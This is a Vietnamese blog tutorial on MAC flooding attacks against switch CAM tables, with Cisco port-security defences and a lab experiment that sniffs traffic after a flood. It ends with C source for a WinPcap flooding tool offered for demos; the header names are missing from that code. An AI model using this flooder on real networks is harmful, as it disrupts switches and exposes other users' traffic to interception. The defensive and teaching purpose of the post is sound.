Trao đổi với tôi

http://www.buidao.com

12/7/09

[Hacking] MAC flooding

MAC flooding
Trong loạt bài này, mình sẽ lần lượt giới thiệu với các bạn các kiểu tấn công vào lớp 2 OSI và các cách phòng chống.

Đầu tiên là kiểu tấn công vào bảng CAM (content address memory) của switch.

1. Địa chỉ MAC:
Địa chỉ MAC (Media Access Control) : là kiểu địa chỉ vật lí, đặc trưng cho một thiết bị hoặc một nhóm các thiết bị trong mạng LAN. Địa chỉ này được dùng để nhận diện các thiết bị giúp cho các gói tin lớp 2 có thể đến đúng đích.

Một địa chỉ MAC bao gồm 6 byte và thường được viết dưới dạng hexa, với các thiết bị của Cisco, địa chỉ này được viết dưới dạng số hexa ,ví dụ: 0000.0C12.FFFF là một địa chỉ MAC hợp lệ. Để đảm bảo địa chỉ MAC của một thiết bị là duy nhất, các nhà sản xuất cần phải ghi địa chỉ đó lên ROM của thiết bị phần cứng và định danh của nhà sản xuất sẽ được xác định bởi 3 byte đầu OUI (Organizationally Unique Identifier).

Địa chỉ MAC được phân làm 3 loại
 Unicast: đây là loại địa chỉ dùng để đại diện cho một thiết bị duy nhất.
 Multicast: đây là loại địa chỉ đại diện cho một nhóm các thiết bị trong mạng LAN. Địa chỉ được dùng trong trường hợp một ứng dụng có thể muốn trao đổi với một nhóm các thiết bị. Bằng cách gửi đi một bản tin có địa chỉ multicast; tất cả các thiết bị trong nhóm đều nhận và xử lí gói tin trong khi các thiết bị còn lại trong mạng sẽ bỏ qua. Giao thức IP cũng hỗ trợ truyền multicast. Khi một gói tin IP multicast được truyền qua một mạng LAN, địa chỉ MAC multicast tương ứng với địa chỉ IP sẽ là 0100.5exxx.xxxx.
 Broadcast: địa chỉ này đại diện cho tất cả các thiết bị trong cùng một mạng LAN. Điều đó cũng có nghĩa là nếu một gói tin có địa chỉ MAC là FFFF.FFFF.FFFF được gửi đi thì tất cả các thiết bị trong mạng LAN đều phải thu nhận và xử lí.


2.Chức năng chuyển mạch của switch:
Việc đưa thiết bị chuyển mạch vào một mạng LAN có nhiều mục đích nhưng mục đích quan trong nhất là để chia một mạng LAN ra thành nhiều vùng khác nhau nhằm giảm thiểu việc xung đột gói tin khi có quá nhiều thiết bị được nối vào cùng một môi trường truyền dẫn. Các vùng được phân chia này được gọi là các collision domain.Chức năng chính của switch là vận chuyển các frame lớp 2 qua lại giữa các collision domain này. Các collision domain này còn được gọi là các đoạn mạng LAN (LAN segment).

Để có thể vận chuyển chính xác được gói tin đến đích, switch cần phải có một sơ đồ ánh xạ giữa địa chỉ MAC của các thiết bị vật lí gắn tương ứng với cổng nào của nó. Sơ

đồ này được lưu lại trong switch và được gọi là bảng CAM (Content Address Memory).

Quá trình vận chuyển gói tin qua switch có thể được mô tả như sau:
• Nếu địa chỉ MAC nguồn của gói tin chưa có trong bảng CAM; switch sẽ cập nhật với cổng tương ứng. Nếu địa chỉ MAC nguồn đã tồn tại trong bảng nhưng với một cổng khác, switch sẽ báo lỗi “MAC flapping” và huỷ gói tin.
• Nếu địa chỉ đích của gói tin là địa chỉ multicast hoặc địa chỉ broadcast hoặc là địa chỉ unicast nhưng ánh xạ của địa chỉ này không tồn tại trong bảng CAM trước đó thì gói tin sẽ được gửi ra tất cả các cổng của switch trừ cổng mà nó nhận được gói tin.
• Nếu địa chỉ đích của gói tin là địa chỉ unicast và ánh xạ của địa chỉ tồn tại trong bảng CAM đồng thời cổng mà nó nhận được gói tin khác với cổng mà gói tin cần được chuyển đi thì nó sẽ gửi gói tin đến chính xác cổng có trong bảng CAM.
• Các trường hợp còn lại, gói tin sẽ bị huỷ.

Ví dụ:

Hình 1.1: Chức năng chuyển mạch của switch

Trong ví dụ trên, khi host A gửi bản tin đến host B. Do switch chưa có địa chỉ MAC của B trong bảng CAM của mình nên switch sẽ gửi broadcast ra mọi cổng còn lại đồng thời sẽ lưu lại địa chỉ MAC của A vào bảng CAM. Sau khi host B nhận được bản tin từ A; B gửi lại tin cho A. Khi đó, switch đã có địa chỉ của A nên sẽ gửi unicast tới port 1 đồng thời cập nhật địa chỉ MAC của B vào bảng CAM.

Các thao tác đối với bảng CAM của một switch [1]:
 Để xem nội dung bảng CAM của switch, dùng lệnh:
Switch# show mac address-table dynamic [address mac-address |
interface type mod/num |vlan vlan-id]
Lệnh này sẽ liệt kê tất cả các địa chỉ MAC mà switch học được. Nếu muốn
cụ thể hơn, có thể tìm được vị trí của host đã gắn vào switch bằng cách chỉ
ra địa chỉ của nó hoặc có thể tìm được những địa chỉ MAC đã được học từ
một giao diện nào đó.

Ví dụ: Host có địa chỉ MAC 0050.8b11.54da đã được gắn vào cổng
Fastethernet 0/1 của switch:


Hình 1.2: Nội dung bảng CAM của switch.


 Xem kích thước bảng CAM của switch, dùng lệnh:
Switch# show mac address-table count
 Xoá các ánh xạ trong bảng CAM, dùng lệnh:
Switch# clear adress-table dynamic [address mac-address |
interface type mod/num |vlan vlan-id]

3.Kiểu tấn công làm tràn bảng CAM (MAC flooding):
3.1.Phương thức tấn công:
Kiểu tấn công làm tràn bảng CAM dựa vào điểm yếu của thiết bị chuyển mạch: bảng CAM chỉ chứa được một số hữu hạn các ánh xạ (ví dụ như switch Catalysh 6000 có thể chứa được tối đa 128000 ánh xạ) và các ánh xạ này không phải tồn tại mãi mãi trong bảng CAM [4]. Sau một khoảng thời gian nào đó, thường là 300 s; nếu địa chỉ này không được dùng trong việc trao đổi thông tin thì nó sẽ bị gỡ bỏ khỏi bảng.


Khi bảng CAM được điền đầy, tất cả thông tin đến sẽ được gửi đến tất cả các cổng của nó trừ cổng nó nhận được. Lúc này chức năng của switch không khác gì chức năng của một hub.

Ví dụ:

Hình 1.3: Mô hình tấn công làm ngập bảng CAM

Trong ví dụ trên, host C của kẻ tấn công gửi đi liên tục hàng loạt các bản tin có địa chỉ MAC nguồn là địa chỉ giả mạo (host X và host Y). Switch sẽ cập nhật địa chỉ của các host giả mạo này vào bảng CAM. Kết quả là khi host A gửi tin đến cho host B; địa chỉ của B không tồn tại trong bảng nên gói tin được switch gửi ra các cổng của nó và bản tin A chỉ gửi riêng cho B cũng sẽ được chuyển đến C.

3.2.Cách phòng chống:
Nguyên lí chung của các phương pháp phòng chống là không để các gói tin có địa chỉ MAC lạ đi qua switch. Phương pháp phòng chống hiệu quả nhất là cấu hình port security trên switch [1]. Đây là một đặc trưng cấu hình cho phép điều khiển việc truy cập vào cổng switch thông qua địa chỉ MAC của thiết bị gắn vào.

Khi switch nhận được một gói tin chuyển đến, nó sẽ kiểm tra địa chỉ MAC nguồn của gói tin với danh sách các địa chỉ đã được cấu hình trước đó. Nếu hai địa chỉ này khác nhau thì tuỳ theo sự cấu hình của người quản trị mà switch sẽ xử lí gói tin đến với các mức độ khác nhau.

Các lệnh cấu hình port security:
• Switch(config-if)# switchport mode access
• Switch(config-if)# switchport port-security: cho phép cổng được hoạt động trong chế độ port-security.
• Switch(config-if)# switchport port-security maximum value (tuỳ chọn): câu lệnh cho phép cấu hình số địa chỉ MAC tối đa mà cổng có thể học tự động và cho phép các thiết bị này truyền dữ liệu qua. Mặc định thì cổng chỉ cho phép một địa chỉ MAC (một thiết bị) được gán vào và số địa chỉ có thể nằm trong khoảng từ 1 đến 1024.
• Switch(config-if)# switchport port-security mac-address mac_address (tuỳ chọn) : bên cạnh cách cấu hình cho phép switch học tự động địa chỉ MAC; có thể gán tĩnh một số địa chỉ MAC có thể truy cập vào một port. Nếu số lượng địa chỉ gán tĩnh mà nhỏ hơn số địa chỉ MAC switch có thể học tự động thì số địa chỉ MAC còn lại sẽ được học tự động.
• Switch(config-if)# switchport port-security violation {protect | restrict | shutdown} (tuỳ chọn) : Đây là các biện pháp mà người quản trị có thể tiến hành khi một gói tin đến không phù hợp với yêu cầu của port-security (khi có nhiều hơn số địa chỉ MAC tối đa được học hoặc khi gói tin đến có địa chỉ MAC khác so với các địa chỉ MAC đã được cấu hình tĩnh). Các biện pháp xử lí có thể là :
1. shutdown: cổng sẽ bị ngừng hoạt động; không nhận và chuyển gói tin.
2. restrict: cổng chỉ cho phép các gói tin có địa chỉ MAC hợp lệ đi qua; các gói tin vi phạm sẽ bị huỷ. Đồng thời số lượng các bản tin vi phạm sẽ được thống kê và báo cho người quản trị biết.
3. protect: cũng giống như trong trường hợp restrict, tuy nhiên việc vi phạm sẽ không được ghi lại.
Phương pháp này tuy có yêu cầu công việc của người quản trị tăng lên đôi chút tuy nhiên nó là phương pháp rất hiệu quả để khoá các gói tin không rõ nguồn gốc có ý định tấn công vào switch.

3.3.Thí nghiệm thực tế:
Sơ đồ thí nghiệm và cấu hình thiết bị:
 Hai PC trong đó PC của kẻ tấn công, cài phần mềm giả mạo địa chỉ MAC và phần mềm bắt gói tin ethereal.
 Một switch cisco serie 2950, hệ điều hành IOS 12.0.


Hình 1.4: Sơ đồ thí nghiệm MAC flooding.

Các bước tiến hành:

• Bước 1: kẻ tấn công dùng phần mềm macflood làm ngập bảng CAM của switch. Phần mềm này có thể làm tràn bảng CAM của switch trong vòng chưa đầy nửa giây. Cách sử dụng macflood:
macflood –i [interface] –n [npacks] -s[size]
trong đó:
-i: chỉ ra giao diện để gửi gói tin ra.
-n: số gói tin được gửi đi.
-s: kích thước gói tin (nằm trong khoảng từ 60 đến 1514 byte).



Hình 1.5: Minh hoạ việc sử dụng phần mềm macflood
Hình này đã được thu nhỏ, nhấn vào đây để xem nguyên bản. Kích thước ban đầu của ảnh này là 643x275


Kết quả khi hiện bảng CAM của switch:


Hình 1.6:Nội dung bảng CAM của switch sau khi bị tấn công.


• Bước 2: mục đích của thí nghiệm này là để kiểm tra việc truyền tin giữa hai switch và máy còn lại có bị nghe trộm hay không. Để đơn giản cho việc kiểm tra; ta ping từ switch sang máy nạn nhân. Dùng phần mềm ethereal trên máy tấn công bắt gói tin ICMP. Kết quả là:


Hình 1.7: Nội dung gói tin ICMP bị nghe lén.

Hình này đã được thu nhỏ, nhấn vào đây để xem nguyên bản. Kích thước ban đầu của ảnh này là 787x230

• Bước 3: cấu hình port security trên cổng 3 của switch; giới hạn số địa chỉ MAC tối đa đi qua là 3. Nếu như có địa chỉ MAC lạ đi qua; gói tin sẽ bị huỷ.
Câu lệnh cấu hình trên cổng của switch gắn với máy của kẻ tấn công:
Switch(config-if)# switchport mode access
Switch(config-if) #switchport port-security
Switch(config-if)# switchport port-security maximum 3
Switch(config-if)# switchport port-security violation protect


Hình 1.8: Switch được cấu hình port security


• Bước 4: Tiến hành tấn công macflood lần thứ hai. Lần này ta chỉ gửi đi 5 bản tin có địa chỉ MAC giả mạo:


Hình 1.9: Tấn công macflood lần hai


Bảng CAM của switch trong lần tấn công thứ hai :


Hình 1.10: Bảng CAM sau lần tấn công thứ hai.



Ta có thể nhận thấy rằng: bảng CAM chỉ chứa 3 ánh xạ nhận được từ cổng fa
0/1 : địa chỉ MAC của máy tấn công và hai địa chỉ giả mạo do phần mềm phát ra.

4.Nhận xét, đánh giá kết quả:
Theo kết quả ở trên, có thể khẳng định việc cấu hình port security là phương pháp phòng chống tấn công MAC flooding hiệu quả nhất.

Một câu hỏi đặt ra là nếu switch không hỗ trợ tính năng port security thì sao? Một biện pháp có thể được dùng để phòng chống là sử dụng phần mềm phát hiện gói tin giả mạo.

Như ta đã thấy, sau khi bảng CAM của switch bị tràn, mọi gói tin đến switch đều bị gửi ra các cổng và việc tấn công này cần phải tiến hành liên tục để đảm bảo rằng bảng CAM luôn bị tràn. Do đó trong khoảng thời gian aging (khoảng thời gian để switch xóa một ánh xạ ra khỏi bảng nếu không nhận được thông tin trao đổi trên cổng); kẻ tấn công phải tiến hành gửi đi ít nhất 2 lần số bản tin giả mạo. Ta có thể dùng một máy tính gắn vào một cổng trên switch để bắt các gói tin giả mạo này (do chúng bị flood ra tất cả các cổng). Từ các gói tin bị bắt được, phần mềm sẽ đọc ra địa chỉ MAC nguồn của gói tin. Nếu trong một khoảng thời gian nhất định (bằng khoảng thời gian aging của switch) số địa chỉ MAC nguồn là quá lớn, phần mềm sẽ ghi lại kết quả và báo cho người quản trị biết rằng đã có tấn công trong mạng.

Tuy nhiên phương pháp này lại có rất nhiều nhược điểm:
 Nhược điểm thứ nhất: do phải xử lí quá nhiều gói tin trong một khoảng thời gian ngắn, hiệu năng của máy sẽ giảm. Số lượng gói tin ở đây không chỉ là các bản tin giả mạo mà tất cả các bản tin khác được gửi đến switch sau khi switch đã bị tấn công.
 Nhược điểm thứ hai: như trong hình 1.6; khi xem nội dung bảng CAM của switch, ta có thể thấy rằng toàn bộ địa chỉ MAC giả mạo đều nằm trong VLAN 1 (khái niệm VLAN xin tham khảo trong chương 4). Điều đó có nghĩa rằng, các bản tin giả mạo sẽ chỉ được switch gửi ra tất cả các cổng thuộc về VLAN đó thôi. Như vậy, nếu kẻ tấn công khác VLAN với máy dùng để phát hiện giả mạo thì việc tấn công vẫn không bị phát hiện.
 Nhược điểm thứ ba: khi một switch bị tràn bảng CAM thì switch bên cạnh nếu có cấu hình VLAN cùng với VLAN của kẻ tấn công thì cũng bị tràn bảng. Do đó tất cả các switch trong mạng nếu có cùng VLAN và có liên kết trunk với nhau thì bảng CAM đều bị tràn.


Hình 1.11: Hậu quả dây chuyền của tấn công macflood
Hình này đã được thu nhỏ, nhấn vào đây để xem nguyên bản. Kích thước ban đầu của ảnh này là 610x305


Kết quả là nếu máy phát hiện có gói tin giả mạo trên một switch thì cũng chưa thể tìm ra ngay được thủ phạm bởi vì máy của kẻ tấn công có thể nằm trên một switch khác. Việc dò tìm có thể tiến hành nếu người quản trị vào từng switch; dùng lệnh show cam- address-table để biết được gói tin giả mạo nhận được trên cổng nào. Nếu cổng nhận được nối đến switch khác thì lại phải sang switch đó để dò tiếp. Nếu cổng nhận được là một PC thì đó chính là máy của kẻ tấn công. Việc dò tìm này sẽ khá mất công nếu số lượng switch trong mạng là lớn.Như vậy so với việc phòng chống bằng port security thì phương pháp này kém hiệu quả hơn rất nhiều.

5.Code macflood:
Đồng chí nào muốn demo thì cài visual studio và down winpcap về nhé.

Code:
#include
#include

#include


int main(int argc, char **argv)
{
int i;
pcap_t *fp;
char errbuf[PCAP_ERRBUF_SIZE];
u_char packet[60];

/* Check the validity of the command line */
if (argc != 2)
{
printf("usage: %s interface", argv[0]);
return 1;
}

/* Open the adapter */
if ((fp = pcap_open_live(argv[1], // name of the device
65536, // portion of the packet to capture. It doesn't matter in this case
1, // promiscuous mode (nonzero means promiscuous)
1000, // read timeout
errbuf // error buffer
)) == NULL)
{
fprintf(stderr,"\nUnable to open the adapter. %s is not supported by WinPcap\n", argv[1]);
return 2;
}


/* Supposing to be on ethernet, set mac destination to 1:1:1:1:1:1 */
packet[0]=1;
packet[1]=1;
packet[2]=1;
packet[3]=1;
packet[4]=1;
packet[5]=1;

//cho dia chi sau bang 0 het
packet[6]=0;
packet[7]=0;
packet[8]=0;
packet[9]=0;
packet[10]=0;
packet[11]=0;


for (i=1;i<=10000; i++)
{
int j=11;
int m=i;

while (m>0)
{
packet[j]=m%16;
m=m/16;
j--;

}



/* Fill the rest of the packet */
for(j=12;j<60;j++)
{
packet[j]=i%256;
}

/* Send down the packet */
if (pcap_sendpacket(fp, // Adapter
packet, // buffer with the packet
60 // size
) != 0)
{
fprintf(stderr,"\nError sending the packet: \n", pcap_geterr(fp));
return 3;
}



}
pcap_close(fp);
return 0;
}